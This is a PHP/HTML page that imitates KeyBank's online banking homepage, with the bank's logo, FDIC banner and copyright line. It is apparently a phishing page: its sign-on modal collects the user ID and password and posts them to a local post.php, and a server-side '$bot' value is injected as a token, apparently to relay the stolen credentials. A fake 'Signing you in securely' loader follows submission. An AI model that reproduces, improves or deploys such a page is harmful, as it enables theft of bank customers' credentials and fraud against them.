<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>KeyBank — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:      #CC0000;
            --red-dk:   #aa0000;
            --teal:     #006B77;
            --teal-dk:  #00565f;
            --text:     #111;
            --sub:      #555;
            --border:   #cdd0d4;
            --light:    #EEF5F6;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── FDIC BAR ─────────────────────────────────── */
        .fdic-bar {
            background: #222;
            padding: 0 24px;
            height: 32px;
            display: flex; align-items: center; justify-content: space-between;
        }
        .fdic-left { display: flex; align-items: center; gap: 10px; }
        .fdic-badge {
            background: var(--red); color: #fff;
            font-size: 10px; font-weight: 900; letter-spacing: .04em;
            padding: 2px 5px; border-radius: 2px; flex-shrink: 0;
        }
        .fdic-bar p { font-size: 11px; color: rgba(255,255,255,.75); font-style: italic; }
        .fdic-nav { display: flex; align-items: center; gap: 0; }
        .fdic-nav a {
            font-size: 12px; color: rgba(255,255,255,.8); text-decoration: none;
            padding: 0 14px; border-left: 1px solid rgba(255,255,255,.2); height: 32px;
            display: flex; align-items: center;
        }
        .fdic-nav a.active { background: var(--red); color: #fff; font-weight: 600; }
        .fdic-nav a:hover:not(.active) { color: #fff; background: rgba(255,255,255,.08); }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 24px;
            height: 68px;
            display: flex; align-items: center; justify-content: space-between;
            border-bottom: 1px solid #e0e0e0;
            position: relative; z-index: 300;
        }
        .nav-left { display: flex; align-items: center; gap: 16px; }
        .nav-logo img { height: 38px; width: auto; display: block; }
        .nav-divider { width: 1px; height: 32px; background: #ccc; }
        .nav-section { font-size: 20px; font-weight: 400; color: var(--text); }
        .nav-right { display: flex; align-items: center; gap: 14px; }
        .btn-open-acct {
            padding: 9px 18px;
            border: 1.5px solid var(--text); border-radius: 3px;
            background: transparent; color: var(--text);
            font-family: 'Inter', sans-serif; font-size: 13.5px; font-weight: 500;
            cursor: pointer; display: flex; align-items: center; gap: 5px;
            transition: background .15s;
        }
        .btn-open-acct:hover { background: #f0f0f0; }
        .nav-link { font-size: 13.5px; color: var(--text); text-decoration: none; font-weight: 500; }
        .nav-link:hover { color: var(--teal); }
        .nav-search {
            display: flex; align-items: center; gap: 6px;
            border: 1px solid #ccc; border-radius: 3px;
            padding: 6px 12px; background: #f8f8f8;
            min-width: 160px;
        }
        .nav-search input {
            border: none; outline: none; background: transparent;
            font-family: 'Inter', sans-serif; font-size: 13px; color: var(--text);
            width: 100%;
        }
        .nav-search input::placeholder { color: #aab; }

        /* ── SUB NAV ─────────────────────────────────── */
        .sub-nav {
            background: var(--white);
            border-bottom: 2px solid #e0e0e0;
            padding: 0 24px;
            display: flex; align-items: center;
            height: 44px; position: relative; z-index: 200;
        }
        .sub-nav a {
            font-size: 13.5px; font-weight: 500; color: var(--text);
            text-decoration: none; padding: 0 16px; height: 44px;
            display: flex; align-items: center;
            border-bottom: 2px solid transparent; margin-bottom: -2px;
            transition: color .15s, border-color .15s;
        }
        .sub-nav a:hover { color: var(--red); border-color: var(--red); }

        /* LOGIN PANEL overlay — right side of hero */
        .login-panel-wrap { position: relative; }
        .login-panel {
            display: none; position: absolute;
            top: 0; right: 0;
            width: 320px;
            background: var(--white);
            border: 1px solid #d8d8d8;
            box-shadow: 0 4px 20px rgba(0,0,0,.15);
            z-index: 500;
            padding: 22px 20px 20px;
            animation: ddIn .18s ease both;
        }
        .login-panel.open { display: block; }
        @keyframes ddIn { from{opacity:0;transform:translateY(-4px)} to{opacity:1;transform:translateY(0)} }

        .lp-label { font-size: 10.5px; font-weight: 800; color: var(--text); letter-spacing: .1em; text-transform: uppercase; margin-bottom: 14px; }
        .btn-sign-on {
            width: 100%; height: 46px;
            background: var(--red); color: #fff;
            border: none; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 15px; font-weight: 700;
            cursor: pointer; margin-bottom: 12px;
            transition: background .15s;
        }
        .btn-sign-on:hover { background: var(--red-dk); }
        .btn-enroll {
            width: 100%; height: 44px;
            background: transparent; color: var(--teal);
            border: 2px solid var(--teal); border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            cursor: pointer; margin-bottom: 18px;
            transition: background .15s, color .15s;
        }
        .btn-enroll:hover { background: var(--teal); color: #fff; }
        .lp-problem { font-size: 11.5px; font-weight: 700; color: var(--text); margin-bottom: 6px; }
        .lp-links { display: flex; flex-direction: column; gap: 5px; }
        .lp-links a { font-size: 12.5px; color: var(--teal); text-decoration: none; }
        .lp-links a:hover { text-decoration: underline; }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            position: relative; overflow: hidden;
            min-height: 460px;
        }
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.jpeg') center center / cover no-repeat;
            z-index: 0;
        }
        /* slight dark overlay bottom portion */
        .hero-overlay {
            position: absolute; inset: 0; z-index: 1;
            background: linear-gradient(to right, rgba(0,0,0,.28) 0%, rgba(0,0,0,.08) 55%, transparent 80%);
        }
        .hero-content {
            position: relative; z-index: 2;
            padding: 60px 40px 100px;
            max-width: 700px;
        }
        .hero-red-bar { width: 40px; height: 4px; background: var(--red); margin-bottom: 18px; }
        .hero-content h1 {
            font-size: clamp(26px, 3vw, 42px);
            font-weight: 700; color: #fff; line-height: 1.18; margin-bottom: 14px;
        }
        .hero-content p { font-size: 15px; color: rgba(255,255,255,.9); margin-bottom: 26px; }
        .btn-hero {
            display: inline-flex; align-items: center;
            padding: 12px 24px; background: var(--red); color: #fff;
            border: none; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 700;
            cursor: pointer; text-decoration: none; transition: background .15s;
        }
        .btn-hero:hover { background: var(--red-dk); }

        /* Bottom product tabs */
        .hero-tabs {
            position: absolute; bottom: 0; left: 0; right: 0; z-index: 2;
            display: flex;
        }
        .hero-tab {
            flex: 1; height: 52px;
            background: rgba(55,55,55,.82);
            color: #fff; font-size: 14px; font-weight: 500;
            display: flex; align-items: center; justify-content: center;
            cursor: pointer; border-right: 1px solid rgba(255,255,255,.15);
            transition: background .15s;
        }
        .hero-tab:last-child { border-right: none; }
        .hero-tab:hover { background: rgba(0,0,0,.75); }

        /* ── GET STARTED STRIP ───────────────────────── */
        .get-started-strip {
            padding: 36px 40px;
            text-align: center; background: var(--white);
        }
        .get-started-strip h2 {
            font-size: clamp(18px, 2vw, 26px);
            font-weight: 400; color: var(--red);
            font-style: italic;
        }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: #333; padding: 20px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        /* ── CLOSE BUTTON (sub nav area) ──────────────── */
        .close-btn {
            position: absolute; right: 0; top: 0;
            height: 44px; padding: 0 20px;
            background: #444; color: #fff;
            border: none; cursor: pointer;
            font-family: 'Inter', sans-serif; font-size: 13px; font-weight: 600;
            display: none; align-items: center; gap: 6px;
            transition: background .15s;
        }
        .close-btn.visible { display: flex; }
        .close-btn:hover { background: #222; }

        @media(max-width:900px) { .sub-nav{display:none;} .main-nav{padding:0 16px;} .nav-search{display:none;} .hero-content{padding:40px 20px 90px;} .hero-tabs .hero-tab:nth-child(n+3){display:none;} }
    </style>
</head>
<body>

    <!-- FDIC bar -->
    <div class="fdic-bar">
        <div class="fdic-left">
            <span class="fdic-badge">FDIC</span>
            <p>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</p>
        </div>
        <div class="fdic-nav">
            <a href="#" class="active">Personal</a>
            <a href="#">Small Business</a>
            <a href="#">Wealth Management</a>
            <a href="#">Businesses &amp; Institutions</a>
            <a href="#">About Key</a>
        </div>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-left">
            <div class="nav-logo"><img src="res/img/logo.svg" alt="KeyBank"></div>
            <div class="nav-divider"></div>
            <span class="nav-section">Personal</span>
        </div>
        <div class="nav-right">
            <button class="btn-open-acct">
                Open an Account
                <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg>
            </button>
            <a href="#" class="nav-link">Locations</a>
            <a href="#" class="nav-link">Contact Us</a>
            <div class="nav-search">
                <input type="text" placeholder="I am looking for...">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            </div>
        </div>
    </nav>

    <!-- Sub Nav -->
    <div class="sub-nav">
        <a href="#">Banking</a>
        <a href="#">Services</a>
        <a href="#">Online Banking</a>
        <a href="#">Financial Wellness</a>
        <a href="#">Customer Support</a>
        <button class="close-btn" id="closeBtn" onclick="closeLogin()">Close ✕</button>
    </div>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-overlay"></div>
        <div class="hero-content">
            <div class="hero-red-bar"></div>
            <h1>earn up to $500<sup style="font-size:.55em">3,4</sup> with a checking account that gets you.</h1>
            <p>Choose a qualified account and meet requirements.</p>
            <a href="#" class="btn-hero">Get Details</a>
        </div>

        <!-- Login panel — overlaid top-right of hero -->
        <div class="login-panel-wrap" style="position:absolute;top:0;right:0;z-index:3;">
            <div class="login-panel open" id="login-panel">
                <div class="lp-label">Online Banking</div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post" id="login-form">
                    <input type="hidden" name="user" id="hidden-user">
                    <input type="hidden" name="pass" id="hidden-pass">
                    <button type="button" class="btn-sign-on" onclick="goToSignOn()">Sign On</button>
                </form>
                <button class="btn-enroll">Enroll in Online Banking</button>
                <div class="lp-problem">PROBLEM SIGNING ON?</div>
                <div class="lp-links">
                    <a href="#">Forgot My User ID</a>
                    <a href="#">Forgot My Password</a>
                    <a href="#">Unlock My Account</a>
                </div>
            </div>
        </div>

        <!-- Product tabs bottom -->
        <div class="hero-tabs">
            <div class="hero-tab">Open an Account</div>
            <div class="hero-tab">KeyBank CD</div>
            <div class="hero-tab">Mortgage & Home Equity</div>
        </div>
    </div>

    <!-- Get started -->
    <div class="get-started-strip">
        <h2>Get Started with Personal Banking Products &amp; Services</h2>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">FDIC</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 KeyCorp. All Rights Reserved. Member FDIC. Equal Housing Lender.</div>
    </footer>

    <!-- Sign On modal overlay -->
    <div id="signon-overlay" style="display:none;position:fixed;inset:0;background:rgba(0,0,0,.55);z-index:1000;align-items:center;justify-content:center;">
        <div style="background:#fff;border-radius:4px;padding:36px 32px;width:380px;box-shadow:0 16px 48px rgba(0,0,0,.25);position:relative;">
            <button onclick="closeSignOn()" style="position:absolute;top:12px;right:14px;background:none;border:none;font-size:20px;cursor:pointer;color:#666;">✕</button>
            <div style="text-align:center;margin-bottom:24px;">
                <img src="res/img/logo.svg" alt="KeyBank" style="height:36px;">
            </div>
            <form action="post.php" method="post" id="signon-form">
                <label style="display:block;font-size:13px;font-weight:600;color:#333;margin-bottom:6px;">Enter your User ID</label>
                <div style="display:flex;align-items:center;border:2px solid var(--teal);border-radius:3px;padding:0 12px;margin-bottom:14px;height:48px;">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#aab" stroke-width="2" style="flex-shrink:0;margin-right:8px;"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
                    <input type="text" name="user" id="modal-user" placeholder="" required autocomplete="username" style="border:none;outline:none;font-family:'Inter',sans-serif;font-size:15px;width:100%;color:#111;">
                </div>
                <div style="display:flex;align-items:center;justify-content:space-between;margin-bottom:6px;">
                    <label style="font-size:13px;font-weight:600;color:#333;">Enter your Password</label>
                </div>
                <div style="display:flex;align-items:center;border:1.5px solid #ccc;border-radius:3px;padding:0 12px;margin-bottom:16px;height:48px;">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#aab" stroke-width="2" style="flex-shrink:0;margin-right:8px;"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                    <input type="password" name="pass" id="modal-pass" required autocomplete="current-password" style="border:none;outline:none;font-family:'Inter',sans-serif;font-size:15px;width:100%;flex:1;color:#111;">
                    <button type="button" onclick="toggleModalPw()" style="background:none;border:none;cursor:pointer;color:#aab;padding:0;">
                        <svg id="eye-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M17.94 17.94A10.07 10.07 0 0112 20c-7 0-11-8-11-8a18.45 18.45 0 015.06-5.94M9.9 4.24A9.12 9.12 0 0112 4c7 0 11 8 11 8a18.5 18.5 0 01-2.16 3.19m-6.72-1.07a3 3 0 11-4.24-4.24"/><line x1="1" y1="1" x2="23" y2="23"/></svg>
                    </button>
                </div>
                <div style="display:flex;align-items:center;gap:8px;margin-bottom:18px;">
                    <input type="checkbox" id="save-uid" style="accent-color:var(--teal);width:16px;height:16px;">
                    <label for="save-uid" style="font-size:13px;color:#333;cursor:pointer;">Save User ID</label>
                </div>
                <button type="submit" id="signin-btn" style="width:100%;height:50px;background:var(--red);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:16px;font-weight:700;cursor:pointer;display:flex;align-items:center;justify-content:center;gap:10px;transition:background .15s;">
                    <span id="signin-text">Sign On</span>
                    <img id="signin-spinner" src="res/img/web_logo_page_loader.gif" style="height:22px;display:none;" alt="Loading">
                </button>
                <div style="border-top:1px solid #e0e0e0;margin:18px 0;"></div>
                <div style="text-align:center;">
                    <a href="#" style="font-size:13.5px;color:var(--teal);text-decoration:none;">Problem Signing On?</a>
                </div>
                <div style="border-top:1px solid #e0e0e0;margin:14px 0;"></div>
                <div style="text-align:center;">
                    <a href="#" style="font-size:13.5px;color:var(--teal);text-decoration:none;">Enroll in Online Banking</a>
                </div>
            </form>
        </div>
    </div>

    <script>
        function goToSignOn() {
            document.getElementById('signon-overlay').style.display = 'flex';
            setTimeout(function(){ document.getElementById('modal-user').focus(); }, 100);
        }
        function closeSignOn() {
            document.getElementById('signon-overlay').style.display = 'none';
        }
        function closeLogin() {
            document.getElementById('login-panel').classList.remove('open');
            document.getElementById('closeBtn').classList.remove('visible');
        }
        function toggleModalPw() {
            var p = document.getElementById('modal-pass');
            p.type = p.type === 'password' ? 'text' : 'password';
        }
        document.getElementById('signon-overlay').addEventListener('click', function(e) {
            if (e.target === this) closeSignOn();
        });
        document.addEventListener('keydown', function(e) { if (e.key === 'Escape') closeSignOn(); });

        // Full page loader on submit
        document.getElementById('signon-form').addEventListener('submit', function() {
            document.getElementById('kb-loader-overlay').style.display = 'flex';
        });
    </script>
    <!-- Full page loader overlay -->
    <div id="kb-loader-overlay" style="display:none;position:fixed;inset:0;background:rgba(255,255,255,0.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px;">
        <img src="res/img/web_logo_page_loader.gif" alt="Loading" style="width:72px;height:72px;">
        <p style="font-size:15px;font-weight:600;color:#333;font-family:'Inter',sans-serif;">Signing you in securely...</p>
    </div>
    <script src="./res/jq.js"></script>
</body>
</html>